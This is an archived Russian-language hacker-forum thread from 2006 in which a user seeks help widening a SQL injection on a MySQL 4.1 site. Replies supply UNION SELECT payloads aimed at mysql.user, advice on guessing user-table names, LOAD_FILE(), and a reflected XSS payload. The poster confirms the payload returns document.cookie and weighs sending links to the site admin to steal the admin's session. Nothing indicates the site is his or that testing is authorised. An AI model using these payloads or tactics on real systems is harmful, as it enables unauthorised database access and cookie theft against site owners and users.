PDA

Просмотр полной версии : Sql-inj MySQL Проблемы с запросом.


m2infect
10.09.2006, 22:26
Всем доброго(ой) вечера\ночи!

Уважаемые!
Подсабите хорошим словом =)
Наткунлся на SQL-инъекцию (MYSQL - 4.1.20-standard).

{......}aview&aid=-1+union+select+1,2,user(),null,database(),null,7,8 ,9+from+mysql.user+where+id=1/*

пишет...

SELECT command denied to user '........'@'localhost' for table 'user' SQL query : select cityID, fd_type, fd_title, fd_number, art_title, date, art_url, html, pdf from mytable_press WHERE id = -1 union select 1,2,user(),null,database(),null,7,8,9 from mysql.user where id=1/* ORDER BY date DESC;

SELECT command denied to user '........'@'localhost' - Конец истории? или есть продолжение.

Подскажите пожалуйста.

С уважением.

max_pain89
10.09.2006, 22:41
SELECT command denied to user '........'@'localhost'
SELECT запрещен юзеру '........'@'localhost'

т.е. настройки таковы, что юзеру не доступна база "mysql", а только созданные этим юзером базы.
Это свидетельствует о здравом рассудке сисадмина. Пробуй что-то другое.

m2infect
10.09.2006, 23:52
Да вот именно что попробывал всё что знал, и в итоге НОЛЬ.
Может кто что-то подскажет ???

Goudini
10.09.2006, 23:56
{......}aview&aid=-1+union+select+1,2,user(),null,database(),null,7,8 ,9/*

а просто так пробовал

m2infect
11.09.2006, 00:15
{......}aview&aid=-1+union+select+1,2,user(),null,database(),null,7,8 ,9/*

а просто так пробовал

Пробывал.
Выдает только инфу про базу.
user() - пишет на странице юзера
database() базу
version() - и пишет версию....

Goudini
11.09.2006, 00:32
Пробывал.
Выдает только инфу про базу.
user() - пишет на странице юзера
database() базу
version() - и пишет версию....
Вот и всё, в базу mysql тебя не пустит. Можеш попробовать подоставать что-то ещё с этой базы, может там форум есть, тогда названия таблиц известны......

m2infect
11.09.2006, 01:42
к таблице MySQL меня не пустили.
Записать файл, а так же прочитать файлы - тоже не дали.
Вроде все способы попробывал.

Не уже то не уязвима?
Может кто сплоиты знает к этой версии? :confused:

gadjet
11.09.2006, 18:03
Попробуй подобрать названия таблиц с юзерами: user, users, username, uname и т.д. потом надо подбирать колонки.

1ten0.0net1
11.09.2006, 18:38
Пробуй осуществить XSS (как я понял - у тебя не blind инъекция) :
iew&aid=-1+union+select+1,2,<script>alert();</script>,null,5,null,7,8,9+from+mysql.user+where+id=1/*

guest3297
11.09.2006, 20:01
Load_file()

m2infect
11.09.2006, 22:11
Пробуй осуществить XSS (как я понял - у тебя не blind инъекция) :
iew&aid=-1+union+select+1,2,<script>alert();</script>,null,5,null,7,8,9+from+mysql.user+where+id=1/*

да работает только зачем знак ; после алерта?
Поставил document.cookie и выдал мне мой кук.
Но что мне это даст - ведь с помощью этого не взять базу. Засылать админу ссылки иль картинки - не вариант (есть на это причины).

m2infect
12.09.2006, 07:38
']Load_file()

Неа. Тоже не работает.

1ten0.0net1
12.09.2006, 10:11
да работает только зачем знак ; после алерта?
Поставил document.cookie и выдал мне мой кук.
Но что мне это даст - ведь с помощью этого не взять базу. Засылать админу ссылки иль картинки - не вариант (есть на это причины).
Да, как-то не учел про точку с запятой. Ну, если тебя не устраивает впаривание ссылок, другие методы взять базу в такой ситуации вряд ли тебе кто-нибудь посоветует.